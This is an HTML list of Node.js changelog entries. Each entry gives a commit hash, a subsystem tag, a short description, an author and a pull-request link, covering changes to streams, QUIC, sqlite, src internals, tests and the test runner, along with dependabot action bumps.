<li>[<a href="https://github.com/nodejs/node/commit/39da4d7bd6"><code>39da4d7bd6</code></a>] - <strong>meta</strong>: bump actions/setup-node from 6.2.0 to 6.3.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62548" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62548/hovercard">#62548</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/62e3aa55ad"><code>62e3aa55ad</code></a>] - <strong>meta</strong>: bump github/codeql-action from 4.32.4 to 4.35.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62547" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62547/hovercard">#62547</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83986de8a2"><code>83986de8a2</code></a>] - <strong>meta</strong>: bump codecov/codecov-action from 5.5.2 to 6.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62545" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62545/hovercard">#62545</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/18e56861dc"><code>18e56861dc</code></a>] - <strong>meta</strong>: bump cachix/cachix-action from 16 to 17 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62544" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62544/hovercard">#62544</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d4e49d567a"><code>d4e49d567a</code></a>] - <strong>meta</strong>: bump actions/cache from 5.0.3 to 5.0.4 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62543" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62543/hovercard">#62543</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2c5a914af4"><code>2c5a914af4</code></a>] - <strong>meta</strong>: require DCO signoff in commit message guidelines (James M Snell) <a href="https://github.com/nodejs/node/pull/62510" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62510/hovercard">#62510</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f21039ce59"><code>f21039ce59</code></a>] - <strong>meta</strong>: expand memory leak DoS criteria to all DoS (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62505" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62505/hovercard">#62505</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/824ac6b5bf"><code>824ac6b5bf</code></a>] - <strong>module</strong>: exclude <code>node:ffi</code> from <code>builtinModules</code> when not enabled (Jordan Harband) <a href="https://github.com/nodejs/node/pull/63158" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63158/hovercard">#63158</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bb6293ab7c"><code>bb6293ab7c</code></a>] - <strong>module</strong>: remove duplicated checks from <code>_resolveFilename</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62729" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62729/hovercard">#62729</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/34ec8c9f5c"><code>34ec8c9f5c</code></a>] - <strong>module,win</strong>: fix long subpath import (Stefan Stojanovic) <a href="https://github.com/nodejs/node/pull/62101" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62101/hovercard">#62101</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/de46e68918"><code>de46e68918</code></a>] - <strong>node-api</strong>: update libuv ABI stability note (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62789" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62789/hovercard">#62789</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/78c7d77bbf"><code>78c7d77bbf</code></a>] - <strong>node-api</strong>: add napi_create_external_sharedarraybuffer (Ben Noordhuis) <a href="https://github.com/nodejs/node/pull/62623" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62623/hovercard">#62623</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a0ccf94f61"><code>a0ccf94f61</code></a>] - <strong>node-api</strong>: execute tsfn finalizer after queue drains when aborted (Kevin Eady) <a href="https://github.com/nodejs/node/pull/61956" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61956/hovercard">#61956</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ab66de8eaa"><code>ab66de8eaa</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>process</strong>: throw on execve(2) failure instead of aborting (Bryan English) <a href="https://github.com/nodejs/node/pull/62878" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62878/hovercard">#62878</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/20151be8cb"><code>20151be8cb</code></a>] - <strong>process</strong>: handle rejections only when needed (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/62919" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62919/hovercard">#62919</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9b24a815a2"><code>9b24a815a2</code></a>] - <strong>quic</strong>: add QuicEndpoint.listening &amp; QuicStream.destroy() and tests (Tim Perry) <a href="https://github.com/nodejs/node/pull/62648" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62648/hovercard">#62648</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/761a96740c"><code>761a96740c</code></a>] - <strong>quic</strong>: fixup token verification to handle zero expiration (James M Snell) <a href="https://github.com/nodejs/node/pull/62620" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62620/hovercard">#62620</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4ade02ac85"><code>4ade02ac85</code></a>] - <strong>quic</strong>: support multiple ALPN negotiation (James M Snell) <a href="https://github.com/nodejs/node/pull/62620" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62620/hovercard">#62620</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b2e2e648e4"><code>b2e2e648e4</code></a>] - <strong>quic</strong>: apply multiple TLS context improvements and SNI support (James M Snell) <a href="https://github.com/nodejs/node/pull/62620" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62620/hovercard">#62620</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/56b941af4a"><code>56b941af4a</code></a>] - <strong>quic</strong>: implement rapidhash for hashing improvements (James M Snell) <a href="https://github.com/nodejs/node/pull/62620" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62620/hovercard">#62620</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7cda4300b8"><code>7cda4300b8</code></a>] - <strong>quic</strong>: use arena allocation for packets (James M Snell) <a href="https://github.com/nodejs/node/pull/62589" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62589/hovercard">#62589</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1e8fa2f1bd"><code>1e8fa2f1bd</code></a>] - <strong>sqlite</strong>: use OneByte for ASCII text and internalize col names (Ali Hassan) <a href="https://github.com/nodejs/node/pull/61954" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61954/hovercard">#61954</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3af44ee508"><code>3af44ee508</code></a>] - <strong>sqlite</strong>: add serialize() and deserialize() (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62579" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62579/hovercard">#62579</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6386914b4b"><code>6386914b4b</code></a>] - <strong>src</strong>: decouple KeyObject and CryptoKey and move CryptoKey to src (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62924" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62924/hovercard">#62924</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2dc1d205ee"><code>2dc1d205ee</code></a>] - <strong>src</strong>: replace uses of deprecated v8::External APIs (gahaas) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cb33a794a5"><code>cb33a794a5</code></a>] - <strong>src</strong>: remove license headers for new node_profiling files (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63066" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63066/hovercard">#63066</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/59860eb798"><code>59860eb798</code></a>] - <strong>src</strong>: swap dotenv and config file parsing order (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/63035" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63035/hovercard">#63035</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fda439cb58"><code>fda439cb58</code></a>] - <strong>src</strong>: use <code>unique_ptr</code> for ffi memory management (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63071" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63071/hovercard">#63071</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/56917afc57"><code>56917afc57</code></a>] - <strong>src</strong>: split profiling helpers from util (Ilyas Shabi) <a href="https://github.com/nodejs/node/pull/63008" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63008/hovercard">#63008</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fca56a409d"><code>fca56a409d</code></a>] - <strong>src</strong>: add missing &lt;cstdlib&gt; for abort() declaration (Charles Kerr) <a href="https://github.com/nodejs/node/pull/63001" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63001/hovercard">#63001</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d49c89e915"><code>d49c89e915</code></a>] - <strong>src</strong>: make node.config.json throw at unknown fields (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/62992" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62992/hovercard">#62992</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e89c8e9b68"><code>e89c8e9b68</code></a>] - <strong>src</strong>: fix crash in GetErrorSource() for invalid using syntax (semimikoh) <a href="https://github.com/nodejs/node/pull/62770" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62770/hovercard">#62770</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d89f719ce0"><code>d89f719ce0</code></a>] - <strong>src</strong>: remove outdated comments in contextify (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62932" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62932/hovercard">#62932</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5117a3e52b"><code>5117a3e52b</code></a>] - <strong>src</strong>: simplify <code>TCPWrap::Connect</code> signature (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/62929" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62929/hovercard">#62929</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/41bd288ec7"><code>41bd288ec7</code></a>] - <strong>src</strong>: align FFI error handling with Node.js source (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/62858" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62858/hovercard">#62858</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/faaccfb9df"><code>faaccfb9df</code></a>] - <strong>src</strong>: simplify and fix FFI ArrayBuffer accesses (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/62857" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62857/hovercard">#62857</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/43bf39c350"><code>43bf39c350</code></a>] - <strong>src</strong>: use DCHECK in AsyncWrap::MakeCallback instead emiting a warning (Gerhard Stöbich) <a href="https://github.com/nodejs/node/pull/62795" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62795/hovercard">#62795</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/da52b09859"><code>da52b09859</code></a>] - <strong>src</strong>: fix MaybeStackBuffer char_traits deprecation warning (om-ghante) <a href="https://github.com/nodejs/node/pull/62507" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62507/hovercard">#62507</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2b12bca317"><code>2b12bca317</code></a>] - <strong>src</strong>: use context-free V8 message column getters (René) <a href="https://github.com/nodejs/node/pull/62778" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62778/hovercard">#62778</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7efc2ce7b3"><code>7efc2ce7b3</code></a>] - <strong>src</strong>: clean up experimental flag variables (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62759" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62759/hovercard">#62759</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8273682c87"><code>8273682c87</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>src</strong>: allow empty --experimental-config-file (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/61610" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61610/hovercard">#61610</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b844c24395"><code>b844c24395</code></a>] - <strong>src</strong>: coerce <code>spawnSync</code> args to string once (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62633" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62633/hovercard">#62633</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/28679d76c4"><code>28679d76c4</code></a>] - <strong>src</strong>: use stack allocation for small string encoding (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62431" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62431/hovercard">#62431</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/144ef93735"><code>144ef93735</code></a>] - <strong>src</strong>: add contextify interceptor debug logs (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62460" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62460/hovercard">#62460</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d34cfb512e"><code>d34cfb512e</code></a>] - <strong>stream</strong>: remove redundant method check from iter.pipeToSync (René) <a href="https://github.com/nodejs/node/pull/63099" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63099/hovercard">#63099</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a95830b72a"><code>a95830b72a</code></a>] - <strong>stream</strong>: copyedit <code>webstreams/adapter.js</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63034" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63034/hovercard">#63034</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4bf3e1e084"><code>4bf3e1e084</code></a>] - <strong>stream</strong>: remove duplicated utility (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63031" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63031/hovercard">#63031</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/214a8c197b"><code>214a8c197b</code></a>] - <strong>stream</strong>: simplify <code>setPromiseHandled</code> utility (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63032" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63032/hovercard">#63032</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c12a767ff2"><code>c12a767ff2</code></a>] - <strong>stream</strong>: validate ReadableStream.from iterator objects (Daeyeon Jeong) <a href="https://github.com/nodejs/node/pull/62911" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62911/hovercard">#62911</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b09953d2d4"><code>b09953d2d4</code></a>] - <strong>stream</strong>: reject duplicate nested transferables (Daeyeon Jeong) <a href="https://github.com/nodejs/node/pull/62831" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62831/hovercard">#62831</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b9929622f3"><code>b9929622f3</code></a>] - <strong>stream</strong>: ensuring cross-destruction in _duplexify to prevent leaks (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62824" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62824/hovercard">#62824</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c51a39b3ec"><code>c51a39b3ec</code></a>] - <strong>stream</strong>: simplify <code>readableStreamFromIterable</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62651" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62651/hovercard">#62651</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/36078574b9"><code>36078574b9</code></a>] - <strong>stream</strong>: fix nested compose error propagation (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62556/hovercard">#62556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e1928cd481"><code>e1928cd481</code></a>] - <strong>stream</strong>: allow shared array buffer sources in writable webstream adapter (René) <a href="https://github.com/nodejs/node/pull/62163" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62163/hovercard">#62163</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/450e0519d9"><code>450e0519d9</code></a>] - <strong>stream</strong>: simplify <code>createPromiseCallback</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62650/hovercard">#62650</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/57e59ea070"><code>57e59ea070</code></a>] - <strong>stream</strong>: fix writev unhandled rejection in fromWeb (sangwook) <a href="https://github.com/nodejs/node/pull/62297" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62297/hovercard">#62297</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/958373413c"><code>958373413c</code></a>] - <strong>stream</strong>: noop pause/resume on destroyed streams (Robert Nagy) <a href="https://github.com/nodejs/node/pull/62557" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62557/hovercard">#62557</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ee38d2c43d"><code>ee38d2c43d</code></a>] - <strong>stream</strong>: refactor duplexify to be less suceptible to prototype pollution (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62559" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62559/hovercard">#62559</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fbff28f7e6"><code>fbff28f7e6</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>stream</strong>: propagate destruction in duplexPair (Ahmed Elhor) <a href="https://github.com/nodejs/node/pull/61098" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61098/hovercard">#61098</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d7317f4f90"><code>d7317f4f90</code></a>] - <strong>stream</strong>: add stream/iter to classic stream adapters (James M Snell) <a href="https://github.com/nodejs/node/pull/62469" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62469/hovercard">#62469</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/55298c443f"><code>55298c443f</code></a>] - <strong>test</strong>: accept OpenSSL 4 generic internal error for DH key-type mismatches (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/96581bccc7"><code>96581bccc7</code></a>] - <strong>test</strong>: update WPT for url to 258f285de0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63087" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63087/hovercard">#63087</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c73aba07fb"><code>c73aba07fb</code></a>] - <strong>test</strong>: run Temporal presence checks without V8 flag (René) <a href="https://github.com/nodejs/node/pull/63028" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63028/hovercard">#63028</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9c94dce55b"><code>9c94dce55b</code></a>] - <strong>test</strong>: export isRiscv64 from common module (Jamie Magee) <a href="https://github.com/nodejs/node/pull/62609" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62609/hovercard">#62609</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/33c5f7fdbf"><code>33c5f7fdbf</code></a>] - <strong>test</strong>: normalize known inspector crash as completion (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62851" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62851/hovercard">#62851</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8146a97bc3"><code>8146a97bc3</code></a>] - <strong>test</strong>: update WPT for streams to f8f26a372f (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62864" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62864/hovercard">#62864</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7c77c301c9"><code>7c77c301c9</code></a>] - <strong>test</strong>: account for RFC 7919 FFDHE negotiation in OpenSSL 4.0 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9bf7604eb6"><code>9bf7604eb6</code></a>] - <strong>test</strong>: skip tls-deprecated secp256k1 on OpenSSL 4.0 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d173604b53"><code>d173604b53</code></a>] - <strong>test</strong>: use an always invalid cipher and cover OpenSSL 4.0 behaviours (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/72f52163b4"><code>72f52163b4</code></a>] - <strong>test</strong>: use valid DER OCSP responses (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e242394ad9"><code>e242394ad9</code></a>] - <strong>test</strong>: skip test-tls-error-stack when engines are unsupported (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9bff52ebf8"><code>9bff52ebf8</code></a>] - <strong>test</strong>: accept renamed OpenSSL 4.0 error code and reason (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d9b8cc1b68"><code>d9b8cc1b68</code></a>] - <strong>test</strong>: update test/addons/openssl-binding for OpenSSL 4.0 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/960fb16287"><code>960fb16287</code></a>] - <strong>test</strong>: mark test-snapshot-reproducible flaky (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62808" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62808/hovercard">#62808</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7a12dd58cf"><code>7a12dd58cf</code></a>] - <strong>test</strong>: check contextify contextual store behavior in strict mode (René) <a href="https://github.com/nodejs/node/pull/62571" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62571/hovercard">#62571</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c73c8e603f"><code>c73c8e603f</code></a>] - <strong>test</strong>: skip <code>test-temporal-with-zoneinfo</code> on system-icu builds (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62754" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62754/hovercard">#62754</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/48a3ca303e"><code>48a3ca303e</code></a>] - <strong>test</strong>: generate <code>localstorage.db</code> in a temp dir (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62660" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62660/hovercard">#62660</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1a41c2c5db"><code>1a41c2c5db</code></a>] - <strong>test</strong>: update tls junk data error expectations (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62629" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62629/hovercard">#62629</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/115e8c2052"><code>115e8c2052</code></a>] - <strong>test</strong>: ensure WPT report is in out/wpt (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62637" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62637/hovercard">#62637</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cb07b918bd"><code>cb07b918bd</code></a>] - <strong>test</strong>: improve WPT runner summary (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62636" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62636/hovercard">#62636</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7f48438380"><code>7f48438380</code></a>] - <strong>test</strong>: skip url WPT subtests instead of modifying test script (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62635" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62635/hovercard">#62635</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4097fb95d7"><code>4097fb95d7</code></a>] - <strong>test</strong>: capture negative utimes mtime at call time (Yuya Inoue) <a href="https://github.com/nodejs/node/pull/62490" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62490/hovercard">#62490</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e29f46df81"><code>e29f46df81</code></a>] - <strong>test</strong>: allow skipping individual WPT subtests (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62517" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62517/hovercard">#62517</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4d546886c3"><code>4d546886c3</code></a>] - <strong>test</strong>: use on-disk fixture for test-npm-install (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62584" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62584/hovercard">#62584</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5b35eb02ec"><code>5b35eb02ec</code></a>] - <strong>test</strong>: update WPT for url to 7a3645b79a (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62591" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62591/hovercard">#62591</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7a8610835d"><code>7a8610835d</code></a>] - <strong>test_runner</strong>: fix failing suite hooks when marked with <code>todo</code> (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/63097" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63097/hovercard">#63097</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a8c773a0c7"><code>a8c773a0c7</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: align mock timeout api (sangwook) <a href="https://github.com/nodejs/node/pull/62820" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62820/hovercard">#62820</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dc0d757c8a"><code>dc0d757c8a</code></a>] - <strong>test_runner</strong>: fix suite rerun edge case (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/62860" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62860/hovercard">#62860</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b883a5eaea"><code>b883a5eaea</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: add mock-timers support for AbortSignal.timeout (DeveloperViraj) <a href="https://github.com/nodejs/node/pull/60751" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60751/hovercard">#60751</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6fa62b7d58"><code>6fa62b7d58</code></a>] - <strong>test_runner</strong>: add <code>testId</code> to test events (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/62772" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62772/hovercard">#62772</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/39e08340ff"><code>39e08340ff</code></a>] - <strong>test_runner</strong>: publish to TracingChannel for OTel instrumentation (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/62502" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62502/hovercard">#62502</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a21ae1771e"><code>a21ae1771e</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: support test order randomization (Pietro Marchini) <a href="https://github.com/nodejs/node/pull/61747" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61747/hovercard">#61747</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cf0edeb65d"><code>cf0edeb65d</code></a>] - <strong>test_runner</strong>: add passed, attempt, and diagnostic to SuiteContext (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/62504" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62504/hovercard">#62504</a></li>
